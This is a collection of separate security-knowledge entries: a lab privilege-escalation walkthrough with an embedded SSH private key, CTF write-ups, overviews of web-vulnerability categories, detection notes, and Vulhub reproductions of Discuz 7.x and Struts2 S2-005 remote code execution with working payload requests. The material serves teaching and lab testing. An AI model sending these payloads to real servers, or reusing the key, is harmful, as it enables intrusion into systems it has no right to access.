ZKUy+TqAJAfHxxd9Lo1Tm+mE7nNbCSlkRyGWN6ntPCNkV3hMRRWLvaC7oNHbR2HSRxS+3F ojb+JkcifUXK4VS9VdwmszWSisK2kQAAAAMBAAEAAAGBALCyzeZtJApaqGwb6ceWQkyXXr bjZil47pkNbV70JWmnxixY31KjrDKldXgkzLJRoDfYp1Vu+sETVlW7tVcBm5MZmQO1iApD gUMzlvFqiDNLFKUJdTj7fqyOAXDgkv8QksNmExKoBAjGnM9u8rRAyj5PNo1wAWKpCLxIY3 BhdlneNaAXDV/cKGFvW1aOMlGCeaJ0DxSAwG5Jys4Ki6kJ5EkfWo8elsUWF30wQkW9yjIP UF5Fq6udJPnmEWApvLt62IeTvFqg+tPtGnVPleO3lvnCBBIxf8vBk8WtoJVJdJt3hO8c4j kMtXsvLgRlve1bZUZX5MymHalN/LA1IsoC4Ykg/pMg3s9cYRRkm+GxiUU5bv9ezwM4Bmko QPvyUcye28zwkO6tgVMZx4osrIoN9WtDUUdbdmD2UBZ2n3CZMkOV9XJxeju51kH1fs8q39 QXfxdNhBb3Yr2RjCFULDxhwDSIHzG7gfJEDaWYcOkNkIaHHgaV7kxzypYcqLrs0S7C4QAA AMEAhdmD7Qu5trtBF3mgfcdqpZOq6+tW6hkmR0hZNX5Z6fnedUx//QY5swKAEvgNCKK8Sm iFXlYfgH6K/5UnZngEbjMQMTdOOlkbrgpMYih+ZgyvK1LoOTyMvVgT5LMgjJGsaQ5393M2 yUEiSXer7q90N6VHYXDJhUWX2V3QMcCqptSCS1bSqvkmNvhQXMAaAS8AJw19qXWXim15Sp WoqdjoSWEJxKeFTwUW7WOiYC2Fv5ds3cYOR8RorbmGnzdiZgxZAAAAwQDhNXKmS0oVMdDy 3fKZgTuwr8My5Hyl5jra6owj/5rJMUX6sjZEigZa96EjcevZJyGTF2uV77AQ2Rqwnbb2Gl jdLkc0Yt9ubqSikd5f8AkZlZBsCIrvuDQZCoxZBGuD2DUWzOgKMlfxvFBNQF+LWFgtbrSP OgB4ihdPC1+6FdSjQJ77f1bNGHmn0amoiuJjlUOOPL1cIPzt0hzERLj2qv9DUelTOUranO cUWrPgrzVGT+QvkkjGJFX+r8tGWCAOQRUAAADBAM0cRhDowOFx50HkE+HMIJ2jQIefvwpm Bn2FN6kw4GLZiVcqUT6aY68njLihtDpeeSzopSjyKh10bNwRS0DAILscWg6xc/R8yueAeI Rcw85udkhNVWperg4OsiFZMpwKqcMlt8i6lVmoUBjRtBD4g5MYWRANO0Nj9VWMTbW9RLiR kuoRiShh6uCjGCCH/WfwCof9enCej4HEj5EPj8nZ0cMNvoARq7VnCNGTPamcXBrfIwxcVT 8nfK2oDc6LfrDmjQAAAAlvc2NwQG9zY3A= -----END OPENSSH PRIVATE KEY----- ``` ssh登录 ``` ┌──(root💀kali)-[/tmp] └─# chmod 0600 id_ras 255 ⨯ ┌──(root💀kali)-[/tmp] └─# ssh oscp@192.168.32.177 -i id_ras Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 20 Jul 2022 02:55:23 AM UTC System load: 0.01 Processes: 217 Usage of /: 26.9% of 19.56GB Users logged in: 0 Memory usage: 38% IPv4 address for eth0: 192.168.32.177 Swap usage: 0% 0 updates can be installed immediately. 0 of these updates are security updates. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Sat Jul 11 16:50:11 2020 from 192.168.128.1 -bash-5.0$ ``` 直接提权 ``` -bash-5.0$ /bin/bash -p bash-5.0# id uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp) bash-5.0# whoami root ``` 在当前目录发现一个有root脚本 ``` -bash-5.0$ cd ~ -bash-5.0$ ls ip -bash-5.0$ ls -al total 36 drwxr-xr-x 4 oscp oscp 4096 Jul 11 2020 . drwxr-xr-x 3 root root 4096 Jul 9 2020 .. -rw------- 1 oscp oscp 50 Jul 20 02:57 .bash_history -rw-r--r-- 1 oscp oscp 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 oscp oscp 3771 Feb 25 2020 .bashrc drwx------ 2 oscp oscp 4096 Jul 9 2020 .cache -rwxr-xr-x 1 root root 88 Jul 9 2020 ip -rw-r--r-- 1 oscp oscp 807 Feb 25 2020 .profile drwxrwxr-x 2 oscp oscp 4096 Jul 9 2020 .ssh -rw-r--r-- 1 oscp oscp 0 Jul 9 2020 .sudo_as_admin_successful -bash-5.0$ cat ip #!/bin/sh cp /etc/issue-standard /etc/issue /usr/local/bin/get-ip-address >> /etc/issue -bash-5.0$ cat /usr/local/bin/get-ip-address #!/bin/sh /sbin/ifconfig | grep inet | grep -v "127.0.0.1" | grep -v inet6 | awk '{ print "ip: "$2 }' ``` 修改IP脚本内容,再重新启动一次,该标志将位于 oscp 主目录中并归 oscp 所有。 ``` -bash-5.0$ cat ip #!/bin/sh ls -la /root/ > /home/oscp/ls.txt ``` ![image-20230208150055865](../../.gitbook/assets/image-20230208150055865.png)
sec-knowleage
# Reversing-II 100 (NES reverse engineering) We are provided with a NES ROM (`impossible_game.nes`). The goal is simple - find a cheat code for walking through walls. The hints explain that we should flip only one bit in a data section of the ROM. We would ideally avoid reversing the entire game, as that would take forever - especially for a 100 point challenge. I decided to instrument an emulator to find the instructions responsible for handling the collision. After failing to figure out how to open a ROM in higan, I cloned the source for FCEUX. As the emulator is available in `nixpkgs`, building it was a piece of cake: ```shell [~/ctf/2020/trendmicro/nes-re/fceux]$ nix-shell '<nixpkgs>' -A fceux [nix-shell:~/ctf/2020/trendmicro/nes-re/fceux]$ $buildPhase ``` (unfortunately this includes a non-idempotent patch to `SConstruct`, repeated builds had to be done with `git checkout SConstruct;$buildPhase`) Some strategic source spelunking quickly lead me to the code responsible for dispatching an instruction: ```cpp // x6502.cpp, in X6502_Run, around line 490 IncrementInstructionsCounters(); _PI=_P; b1=RdMem(_PC); ADDCYC(CycTable[b1]); ``` I added some quick-n-dirty logging to print a line each time an instruction at a specific address is reached for the first time: ```diff // x6502.cpp, in X6502_Run, around line 490 IncrementInstructionsCounters(); _PI=_P; + static bool seenPC[0x10000] = {0}; + if (!seenPC[_PC]) { + printf("New PC: 0x%04x\n", _PC); + seenPC[_PC]=1; + } b1=RdMem(_PC); ADDCYC(CycTable[b1]); ``` I recompiled the emulator and fired up the game, fully prepared to get spammed by a large amount of output. I made sure to move my character both ways, but avoid colliding with the wall. Then, I applied the age-old technique of marking a point in the output of a CLI program by pressing Enter a few times and finally walked into the wall. This yielded the following, quite short output: ``` New PC: 0x94af New PC: 0x94b1 New PC: 0x92d7 New PC: 0x92d9 New PC: 0x9309 New PC: 0x930b New PC: 0x930e New PC: 0x9311 New PC: 0x9314 New PC: 0x9315 New PC: 0x9317 ``` I've set out to obtain the disassembly of these addresses. Unfortunately, the Linux version of FCEUX includes only the most basic UI, but the Windows build runs just fine in `wine`, and contains an intuitive debugger. Trying not to get distracted by the code textbox using a non-monospace font (probably a Wine quirk :P), I used "seek PC" to find this code: ``` 00:94A9:A5 31 LDA $0031 = #$C0 00:94AB:29 40 AND #$40 00:94AD:F0 04 BEQ $94B3 ------- jumps-. 00:94AF:E6 33 INC $0033 = #$00 \ <- only runs on collision 00:94B1:E6 34 INC $0034 = #$00 | <- 00:94B3:AD E9 04 LDA $04E9 = #$C4 <- here ' ``` As we can see, the collision flags at this moment are stored in address `$31` of the zeropage, and bit `$40` corresponds to the collision we want to avoid. I've added a write watchpoint at `$0031` to find that it's only written in these two places: ``` 00:9739:A4 36 LDY $0036 = #$C4 00:973B:B9 F8 03 LDA $03F8,Y @ $04BC = #$00 00:973E:85 31 STA $0031 = #$C0 <-- useless write 00:9740:A4 31 LDY $0031 = #$C0 read it again immediately (ever heard about TAY?) 00:9742:B9 14 99 LDA $9914,Y @ $99D8 = #$00 index into a table 00:9745:85 31 STA $0031 = #$C0 <-- remember the flags ``` Looks like we need to overwrite the byte at `$9914+Y`. But what's Y when the collision occurs? When it finally happens, the register will surely have already been overwritten a hundred times over, and if we place a breakpoint around `00:9745`, there's no way to know whether it's actually the interesting collision being evaluated (maybe it's just the floor?). As FCEUX doesn't have any reverse-debugging features I know of, I decided to add another ad-hoc patch. First, whenever `$0031` is written, I remember the value of Y: ```diff +uint8_t p4writeCollY = 0; static INLINE void WrRAM(unsigned int A, uint8 V) { + if (A == 0x0031) { + p4writeCollY = _Y; + } RAM[A]=V; } ``` Then, I print it when a new instruction is executed: ```cpp printf("New PC: 0x%04x, [0x0031] = %02x, Y = %02x\n", _PC, RAM[0x31], p4writeCollY); ``` Repeating the same experiment, we obtain ``` New PC: 0x94af, [0x0031] = c0, Y = 02 New PC: 0x94b1, [0x0031] = c0, Y = 02 New PC: 0x92d7, [0x0031] = 00, Y = 00 New PC: 0x92d9, [0x0031] = 00, Y = 00 New PC: 0x9309, [0x0031] = 00, Y = 00 New PC: 0x930b, [0x0031] = 00, Y = 00 New PC: 0x930e, [0x0031] = 00, Y = 00 New PC: 0x9311, [0x0031] = 00, Y = 00 New PC: 0x9314, [0x0031] = 00, Y = 00 New PC: 0x9315, [0x0031] = 00, Y = 00 New PC: 0x9317, [0x0031] = 00, Y = 00 ``` Looks like we need to patch `$9916`, then. Careful to take into account the iNES header and ROM load address, we try our modification out: ```python >>> d = open('impossible_game.nes', 'rb').read() >>> d = bytearray(d) >>> d[0x1926] = 0x80 >>> open('possible_game.nes', 'wb').write(d) ``` This lets us walk right through the wall. As a finishing stretch, we use the `Game Genie Decoder/Encoder` tool included in `fceux.exe` to turn our findings into a cheat code, which is also the flag: ``` TMCTF{EAOPVPEG} ```
sec-knowleage
### CTF中SQL 注入类题目概述 通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的: 1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句 2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中 ### CTF中XSS 跨站脚本攻击类题目概述 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。 ### CTF中命令执行类题目概述 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 `system`、`exec`、`shell_exec` 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。这里还是主要以 PHP 为主介绍命令执行漏洞,Java 等应用的细节待补充。 ### CTF中文件包含类题目概述 如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。 ### CTF中CSRF 跨站请求伪造类题目概述 跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 WEB 系统的安全。 ### CTF中SSRF 服务器端请求伪造类题目概述 SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。 ### CTF中文件上传类题目概述 在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。 ### CTF中点击劫持类题目概述 Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在 2008 年首创的。 是一种视觉欺骗手段,在 WEB 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。 由于点击劫持的出现,便出现了反 frame 嵌套的方式,因为点击劫持需要 iframe 嵌套页面来攻击。 下面代码是最常见的防止 frame 嵌套的例子: ```js if(top.location!=location) top.location=self.location; ``` ### CTF中VPS 虚拟专用服务器类题目概述 VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。实现 VPS 的技术分为容器技术,和虚拟化技术。在容器或虚拟机中,每个 VPS 都可分配独立公网 IP 地址、独立操作系统、实现不同 VPS 间磁盘空间、内存、CPU 资源、进程和系统配置的隔离,为用户和应用程序模拟出独占使用计算资源的体验。VPS 可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS 为使用者提供了管理配置的自由,可用于企业虚拟化,也可以用于 IDC 资源租用。 IDC 资源租用,由 VPS 提供商提供。不同 VPS 提供商所使用的硬件 VPS 软件的差异,及销售策略的不同,VPS 的使用体验也有较大差异。尤其是 VPS 提供商超卖,导致实体服务器超负荷时,VPS 性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器 VPS 的价格都低于虚拟机 VPS 的价格。 ### CTF中条件竞争类题目概述 条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。 ### CTF中XXE类题目概述 XXE Injection 即 XML External Entity Injection,也就是 XML 外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。 在 XML 1.0 标准里,XML 文档结构⾥里定义了实体(entity)这个概念.实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容.如果在这个过程中引入了「污染」源,在对 XML 文档处理后则可能导致信息泄漏等安全问题。 ### CTF中XSCH类题目概述 由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)进行正确的配置导致问题产生。 例如: ```xml <cross-domain-policy> <allow-access-from domain=“*”/> </cross-domain-policy> ``` 因为跨域策略文件配置为 `*`,也就指任意域的 Flash 都可以与它交互,导致可以发起请求、获取数据。 ### CTF中越权(功能级访问缺失)类题目概述 越权漏洞是 WEB 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。 ### CTF中敏感信息泄露类题目概述 敏感信息指不为公众所知悉,具有实际和潜在利用价值,丢失、不当使用或未经授权访问对社会、企业或个人造成危害的信息。包括:个人隐私信息、业务经营信息、财务信息、人事信息、IT 运维信息等。 泄露途径包括 Github、百度文库、Google code、网站目录等。 ### CTF中错误的安全配置类题目概述 Security Misconfiguration:有时候,使用默认的安全配置可能会导致应用程序容易遭受多种攻击。在已经部署的应用、WEB 服务器、数据库服务器、操作系统、代码库以及所有和应用程序相关的组件中,都应该使用现有的最佳安全配置,这一点至关重要。 ### CTF中请求走私类题目概述 在 HTTP 协议中,存在两种 Header 来指定请求的结尾,分别是 Content-Length 以及 Transfer-Encoding。在复杂的网络环境下,不同的服务器以不同的方式实现 RFC 标准。因此,相同的 HTTP 请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。 ### CTF中TLS 投毒类题目概述 在 TLS 协议中,存在一种会话复用机制,当支持该类特性的客户端访问了恶意 TLS 服务器后,客户端会存储恶意服务器下发的 Session ,在客户端重用会话时,配合 DNS Rebinding 可以实现让客户端发送恶意 Session 至内网服务,从而达到 SSRF 攻击效果,包括可以任意写入 Memcached 等内网服务,进而配合其他漏洞造成 RCE 等危害。 ### CTF中XS-Leaks类题目概述 跨站脚本泄漏(又称 XS-Leaks/XSLeaks),是一类利用 Web 平台内置的侧信道衍生出来的漏洞。其原理是利用网络上的这种侧信道来揭示用户的敏感信息,如用户在其他网络应用中的数据、用户本地环境信息,或者是用户所连接的内部网络信息等。 该攻击利用了 Web 平台的核心原则--可组合性,即允许网站之间相互作用,并滥用合法机制来推断用户的信息。该攻击与跨站请求伪造(CSRF)技术主要区别在于 XS-Leaks 并不伪造用户请求执行操作,而是用来推断、获取用户信息。 浏览器提供了各种各样的功能来支持不同 Web 应用程序之间的互动;例如,浏览器允许一个网站加载子资源、导航或向另一个应用程序发送消息。虽然这些行为通常受到网络平台的安全机制的限制(例如同源政策),但 XS-Leaks 利用了网站之间互动过程中的各种行为来泄露用户信息。 ### CTF中WAF类题目概述 Web 应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:WEB 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 WEB 应用提供保护的一款产品。 ### CTF中IDS类题目概述 IDS 是英文 Intrusion Detection Systems 的缩写,中文意思是「入侵检测系统」。专业上讲就是依照一定的安全策略,通过软、硬件,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。做一个形象的比喻:假如防火墙是一幢大楼的门锁,那么 IDS 就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。 ### CTF中IPS类题目概述 入侵防御系统(IPS:Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter,Application Gateway)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。
sec-knowleage
nm === 显示二进制目标文件的符号表 ## 补充说明 **nm命令** 被用于显示二进制目标文件的符号表。 ### 语法 ```shell nm(选项)(参数) ``` ### 选项 ```shell -A:每个符号前显示文件名; -D:显示动态符号; -g:仅显示外部符号; -r:反序显示符号表。 ``` ### 参数 目标文件:二进制目标文件,通常是库文件和可执行文件。
sec-knowleage
### 快速配置 第一步安装**git bash**; ``` https://git-scm.com/download/win ``` 第二步安装**node.js**; ``` https://nodejs.org/dist/v6.10.3/node-v6.10.3-x64.msi ``` 第三步安装**npm**; ``` npm install -g cnpm --registry=https://registry.npm.taobao.org ``` 第四步安装**react**; ``` npm install -g create-react-app ``` 第五步安装插件; **axios**(ajax): ``` npm install axios --save ``` **react-router-dom**(路由库): ``` npm install react-router-dom --save ``` **jquery**(JS工具库): ``` npm install jquery --save ``` **bootstrap**(前端开发框架): ``` npm install bootstrap --save ``` **moment**(JS日期处理库): ``` npm install moment --save ``` **prop-types**(React组件属性类型校验): ``` npm install prop-types --save ``` **react-addons-css-transition-group**(react-router过渡动画): ``` npm install react-addons-css-transition-group --save ``` **Material-UI**(react UI库): ``` npm install material-ui react-tap-event-plugin --save ``` **ANT Desgin**(阿里UI): ``` npm install antd --save ```
sec-knowleage
"""CVE20209402 URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from vuln import views urlpatterns = [ path('admin/', admin.site.urls), path('vuln/', views.vuln), path('vuln2/', views.vuln2), ]
sec-knowleage
from django.apps import AppConfig class VulnConfig(AppConfig): name = 'vuln' default_auto_field = 'django.db.models.BigAutoField'
sec-knowleage
convertquota === 把老的配额文件转换为新的格式 ## 补充说明 **convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。 ### 语法 ```shell convertquota(选项)(参数) ``` ### 选项 ```shell -u:仅转换用户磁盘配额数据文件; -g:仅转换组磁盘配额数据文件; -f:将老的磁盘配额文件转换为新的格式; -e:将新的文件格式从大字节序换为小字节序。 ``` ### 参数 文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。 ### 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令: ```shell convertquota -u /data //转换文件系统"/data"上的用户磁盘配额文件 ```
sec-knowleage
# Discuz 7.x/6.x 全局变量防御绕过导致代码执行 由于php5.3.x版本里php.ini的设置里`request_order`默认值为GP,导致`$_REQUEST`中不再包含`$_COOKIE`,我们通过在Cookie中传入`$GLOBALS`来覆盖全局变量,造成代码执行漏洞。 具体原理请参考: - https://www.secpulse.com/archives/2338.html ## 漏洞环境 执行如下命令启动Discuz 7.2: ``` docker compose up -d ``` 启动后,访问`http://your-ip:8080/install/`来安装discuz,数据库地址填写`db`,数据库名为`discuz`,数据库账号密码均为`root`。 ![](1.png) ## 漏洞复现 安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加`GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();`: ``` GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Connection: close ``` 可见,phpinfo已成功执行: ![](2.png) > 网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。
sec-knowleage
# T1059-004-linux-脚本 ## 来自ATT&CK的描述 攻击者可能会滥用Unix shell命令和脚本来执行。Unix shell是Linux和macOS系统上的主要命令提示符,尽管Unix shell存在许多变体(例如sh,bash,zsh等),具体取决于特定的OS或发行版。Unix shell可以使用某些要求提升特权的命令来控制系统的各个方面。 Unix shell还支持脚本,这些脚本支持顺序执行命令以及其他典型的编程操作,例如条件和循环。Shell脚本的常见用法包括冗长或重复的任务,或者需要在多个系统上运行同一组命令。 攻击者可能会滥用Unix shell来执行各种命令或有效载荷。可以通过命令和控制通道或在横向移动期间(例如使用SSH)访问交互式外壳。攻击者还可以利用Shell脚本在受害者上传递或执行多个命令,或者作为用于持久性的有效载荷的一部分。 ## 测试案例 如何在linux下进行模拟和测试?我们可以创建一个简单bash脚本,并执行它。观察它在日志中留下的痕迹。 ## 检测日志 linux audit日志 (值得注意的是:Ubuntu默认情况下没有audit,需要下载安装并配置相关策略) ## 测试复现 icbc@icbc:/hacker$ bash 1.bash ## 测试留痕 icbc@icbc:/$ cat /var/log/audit/audit.log type=SYSCALL msg=audit(1565352677.388:1524): arch=c000003e syscall=59 success=yes exit=0 a0=564608ddc330 a1=564608dbd8c0 a2=564608de3970 a3=8 items=2 ppid=2095 pid=2807 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4 comm="bash" exe="/usr/bin/bash" key="auditcmd" type=EXECVE msg=audit(1565352677.388:1524): argc=2 a0="bash" a1="1.bash" type=CWD msg=audit(1565352677.388:1524): cwd="/hacker" type=PATH msg=audit(1565352677.388:1524): item=0 name="/usr/bin/bash" inode=2228277 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 ## 检测规则/思路 ### splunk规则 index = linux sourcetype = linux_audit syscall = 59 | table host,syscall,syscall_name,exe,auid ### 建议 值得注意的是:我们只是把环境中的脚本执行行为记录下来,如果没有设置白名单,那么我们需要消耗大量的精力用于处理误报。 ## 参考推荐 MITRE-ATT&CK-T1059-004 <https://attack.mitre.org/techniques/T1059/004/> Audit配置手册 <https://www.cnblogs.com/bldly1989/p/7204358.html>
sec-knowleage
# S2-005 远程代码执行漏洞 影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html ## 原理 参考吴翰清的《白帽子讲Web安全》一书。 > s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上 XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如: ``` user.address.city=Bishkek&user['favoriteDrink']=kumys //会被转化成 action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys") ``` 触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下: - S2-003 使用`\u0023`绕过s2对`#`的防御 - S2-003 后官方增加了安全模式(沙盒) - S2-005 使用OGNL表达式将沙盒关闭,继续执行代码 ## 环境 执行以下命令启动s2-001测试环境 ``` docker compose build docker compose up -d ``` ## POC && EXP ### 执行任意命令POC(无回显,空格用`@`代替) ``` GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 HTTP/1.1 Host: target:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 ``` 网上一些POC放到tomcat8下会返回400,研究了一下发现字符`\`、`"`不能直接放path里,需要urlencode,编码以后再发送就好了。这个POC没回显。 POC用到了OGNL的Expression Evaluation: ![](1.jpeg) 大概可以理解为,`(aaa)(bbb)`中aaa作为OGNL表达式字符串,bbb作为该表达式的root对象,所以一般aaa位置如果需要执行代码,需要用引号包裹起来,而bbb位置可以直接放置Java语句。`(aaa)(bbb)=true`实际上就是`aaa=true`。不过确切怎么理解,还需要深入研究,有待优化。 期待大佬研究出有回显的POC。 ### 执行任意命令POC(有回显,将需要执行的命令进行urlencode编码) ``` POST /example/HelloWorld.action HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0) Host: target:8080 Content-Length: 626 redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()} ``` ![](s2-005-3.png) ![](s2-005-4.png)
sec-knowleage
# WhiteHat 2020 finals Team: msm, chivay, c7, k.2, eternal, rodbert, nazywam ### Table of contents * [reversing01](reversing01) * [programming02](programming02) * [programming03](programming03) * [misc04](misc04)
sec-knowleage
# Preflag Pwn, 10 points ## Description > LFI is Local flag inclusion ## Solution We enter the attached website and are presented with a short form: ```html <html> <head> <title>Preflag</title> </head> <body> <form action="gcc" method="POST" enctype="multipart/form-data"> <input type="file" name="inputFile"/> <button type="submit">Send</button> </form> </body> </html> ``` Uploading different formats, we are receive an error message from the server. However, the form name (`gcc`) hints that we should be uploading a `C` file. Let's try it out: ```c #include <stdio.h> int main() { printf("Hello, World!"); return 0; } ``` As a result, we receive a file from the server: ```console root@kali:/media/sf_CTFs/kaf/Preflag# file compiled compiled: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=25c27c0449db49918b6a5d6655018af834a8e80f, not stripped root@kali:/media/sf_CTFs/kaf/Preflag# strings compiled | grep Hello Hello, World! ``` The server has compiled the source file and provided us with the result. This means that we can `#include` local files and hope to see the result in the compiled binary. Let's try different file names using the new [__has_include](https://gcc.gnu.org/onlinedocs/cpp/_005f_005fhas_005finclude.html) preprocessor operator. This way, we can supply multiple file names in the same attempt without failing compilation if any of them are missing: ```c char* marker = "##MARKER##"; char* file = __FILE__; #if __has_include("flag.txt") char* __flag_txt = "__flag.txt__"; #include "flag.txt" #endif #if __has_include("flag") char* __flag = "__flag__"; #include "flag" #endif #if __has_include("/flag.txt") char* 